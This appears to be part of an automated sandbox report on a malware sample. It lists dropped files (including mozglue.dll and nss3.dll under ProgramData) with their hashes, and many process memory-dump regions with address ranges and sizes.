Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
631f4b3792b263fdda6b265e93be4747

SHA1
1d6916097d419198bfdf78530d59d0d9f3e12d45

SHA256
4e68d2d067c5680a2e55853ac58b16f199b09f1b9e5f2174605fff18da828976

SHA512
e0280041c4ca63971ab2524f25d2047820f031c1b4aeb6021a3367297045ddf6616ffccafb54630eb07fd154571d844329ebcc34d6ce64834cb77cba373e4fbe

Download Submit
\ProgramData\mozglue.dll

Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
\ProgramData\nss3.dll

Filesize
2.0MB

MD5
1cc453cdf74f31e4d913ff9c10acdde2

SHA1
6e85eae544d6e965f15fa5c39700fa7202f3aafe

SHA256
ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

SHA512
dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

Download Submit
memory/500-442-0x00000000005B0000-0x00000000005B9000-memory.dmp

Filesize
36KB

Download
memory/500-441-0x0000000000990000-0x00000000009B7000-memory.dmp

Filesize
156KB

Download
memory/500-591-0x0000000000990000-0x00000000009B7000-memory.dmp

Filesize
156KB

Download
memory/656-432-0x0000000000990000-0x00000000009B7000-memory.dmp

Filesize
156KB

Download
memory/656-430-0x0000000000D20000-0x0000000000D2C000-memory.dmp

Filesize
48KB

Download
memory/1544-298-0x00000000009B0000-0x0000000000A07000-memory.dmp

Filesize
348KB

Download
memory/1544-318-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/1868-449-0x000002187D860000-0x000002187D882000-memory.dmp

Filesize
136KB

Download
memory/1868-454-0x000002187DA10000-0x000002187DA86000-memory.dmp

Filesize
472KB

Download
memory/1868-485-0x000002187B840000-0x000002187B850000-memory.dmp

Filesize
64KB

Download
memory/1868-478-0x000002187B840000-0x000002187B850000-memory.dmp

Filesize
64KB

Download
memory/1868-479-0x000002187B840000-0x000002187B850000-memory.dmp

Filesize
64KB

Download
memory/2056-223-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2056-246-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2056-213-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2056-215-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2056-217-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2144-134-0x00000000008E0000-0x00000000008E9000-memory.dmp

Filesize
36KB

Download
memory/2144-665-0x0000000000170000-0x0000000000FD3000-memory.dmp

Filesize
14.4MB

Download
memory/2144-220-0x0000000000400000-0x00000000007FD000-memory.dmp

Filesize
4.0MB

Download
memory/2356-501-0x0000000001290000-0x000000000129D000-memory.dmp

Filesize
52KB

Download
memory/2356-592-0x000002187B840000-0x000002187B850000-memory.dmp

Filesize
64KB

Download
memory/2356-500-0x000002187B840000-0x000002187B850000-memory.dmp

Filesize
64KB

Download
memory/2412-563-0x0000021D43760000-0x0000021D43770000-memory.dmp

Filesize
64KB

Download
memory/2412-562-0x0000021D43760000-0x0000021D43770000-memory.dmp

Filesize
64KB

Download
memory/2432-266-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2432-260-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2432-267-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2432-253-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2432-258-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2432-277-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2432-264-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2432-259-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2432-252-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/2696-599-0x0000000000860000-0x000000000088E000-memory.dmp

Filesize
184KB

Download
memory/2696-635-0x00000000008B0000-0x00000000008B2000-memory.dmp

Filesize
8KB

Download
memory/2696-634-0x0000000000890000-0x00000000008AC000-memory.dmp

Filesize
112KB

Download
memory/2696-641-0x00000000008B0000-0x00000000008B3000-memory.dmp

Filesize
12KB

Download
memory/2696-646-0x0000000000890000-0x00000000008AC000-memory.dmp

Filesize
112KB

Download
memory/3104-545-0x000001CE03C50000-0x000001CE03C60000-memory.dmp

Filesize
64KB

Download
memory/3104-546-0x000001CE03C50000-0x000001CE03C60000-memory.dmp

Filesize
64KB

Download
memory/3104-547-0x000001CE03C50000-0x000001CE03C60000-memory.dmp

Filesize
64KB

Download
memory/3188-276-0x0000000002A80000-0x0000000002A90000-memory.dmp

Filesize
64KB

Download
memory/3188-218-0x0000000002670000-0x0000000002686000-memory.dmp

Filesize
88KB

Download
memory/3188-122-0x0000000000C10000-0x0000000000C26000-memory.dmp

Filesize
88KB

Download
memory/3188-137-0x0000000000C30000-0x0000000000C40000-memory.dmp

Filesize
64KB

Download
memory/3188-139-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-140-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-143-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-146-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-148-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-173-0x0000000002A80000-0x0000000002A90000-memory.dmp

Filesize
64KB

Download
memory/3188-174-0x0000000002A80000-0x0000000002A8A000-memory.dmp

Filesize
40KB

Download
memory/3188-149-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-152-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-166-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-163-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-155-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-156-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-172-0x0000000002A80000-0x0000000002A90000-memory.dmp

Filesize
64KB

Download
memory/3188-167-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-268-0x0000000002650000-0x0000000002666000-memory.dmp

Filesize
88KB

Download
memory/3188-158-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-159-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-274-0x0000000002A80000-0x0000000002A90000-memory.dmp

Filesize
64KB

Download
memory/3188-160-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3188-164-0x00000000026C0000-0x00000000026D0000-memory.dmp

Filesize
64KB

Download
memory/3356-484-0x0000000000390000-0x000000000039B000-memory.dmp

Filesize
44KB

Download
memory/3356-481-0x000002187B840000-0x000002187B850000-memory.dmp

Filesize
64KB

Download
memory/3708-388-0x0000000008AE0000-0x0000000008AE1000-memory.dmp

Filesize
4KB

Download
memory/3708-561-0x0000000008AE0000-0x0000000008AE1000-memory.dmp

Filesize
4KB

Download
memory/3708-391-0x0000000002FD0000-0x0000000002FDB000-memory.dmp

Filesize
44KB

Download
memory/3776-243-0x0000015A16F40000-0x0000015A1706D000-memory.dmp

Filesize
1.2MB

Download
memory/3776-241-0x0000015A16DD0000-0x0000015A16F3D000-memory.dmp

Filesize
1.4MB

Download
memory/3776-278-0x0000015A16F40000-0x0000015A1706D000-memory.dmp

Filesize
1.2MB

Download
memory/4016-503-0x0000000000830000-0x000000000083B000-memory.dmp

Filesize
44KB

Download
memory/4016-502-0x0000000001290000-0x000000000129D000-memory.dmp

Filesize
52KB

Download
memory/4016-593-0x0000000001290000-0x000000000129D000-memory.dmp

Filesize
52KB

Download
memory/4020-365-0x00000000045E0000-0x0000000004A5B000-memory.dmp

Filesize
4.5MB

Download
memory/4020-317-0x0000000000AB0000-0x0000000000AB1000-memory.dmp

Filesize
4KB

Download
memory/4020-370-0x0000000008AE0000-0x0000000008AE1000-memory.dmp

Filesize
4KB

Download
memory/4020-554-0x0000000007E90000-0x00000000089C3000-memory.dmp

Filesize
11.2MB

Download
memory/4020-368-0x0000000007E90000-0x00000000089C3000-memory.dmp

Filesize
11.2MB

Download
memory/4272-416-0x0000000000D20000-0x0000000000D2C000-memory.dmp

Filesize
48KB

Download
memory/4324-399-0x0000000005D80000-0x0000000005D81000-memory.dmp

Filesize
4KB

Download
memory/4324-395-0x0000000002C70000-0x0000000003684000-memory.dmp

Filesize
10.1MB

Download
memory/4324-434-0x0000000005130000-0x0000000005C63000-memory.dmp

Filesize
11.2MB

Download
memory/4324-397-0x0000000005130000-0x0000000005C63000-memory.dmp

Filesize
11.2MB

Download
memory/4332-400-0x00000000009D0000-0x00000000009DF000-memory.dmp

Filesize
60KB

Download
memory/4448-123-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/4448-121-0x0000000000920000-0x0000000000929000-memory.dmp

Filesize
36KB

Download
memory/4464-273-0x00007FF68A0B0000-0x00007FF68A46D000-memory.dmp

Filesize
3.7MB

Download
memory/4700-275-0x0000000000400000-0x00000000007FD000-memory.dmp

Filesize
4.0MB

Download
memory/4760-157-0x00000000002B0000-0x000000000071C000-memory.dmp

Filesize
4.4MB

Download
memory/4828-270-0x0000000000400000-0x00000000007FD000-memory.dmp

Filesize
4.0MB

Download
memory/4848-587-0x00000000009D0000-0x00000000009DF000-memory.dmp

Filesize
60KB

Download
memory/4848-413-0x0000000000820000-0x0000000000829000-memory.dmp

Filesize
36KB

Download
memory/4848-412-0x00000000009D0000-0x00000000009DF000-memory.dmp

Filesize
60KB

Download
memory/4872-643-0x00007FF675F80000-0x00007FF67607A000-memory.dmp

Filesize
1000KB

Download
memory/4872-642-0x000001DB05E70000-0x000001DB05E77000-memory.dmp

Filesize
28KB

Download
memory/4892-206-0x0000000000850000-0x0000000000859000-memory.dmp

Filesize
36KB

Download
memory/4892-272-0x0000000000400000-0x00000000007FC000-memory.dmp

Filesize
4.0MB

Download
memory/5004-216-0x00000000025E0000-0x00000000026FB000-memory.dmp

Filesize
1.1MB

Download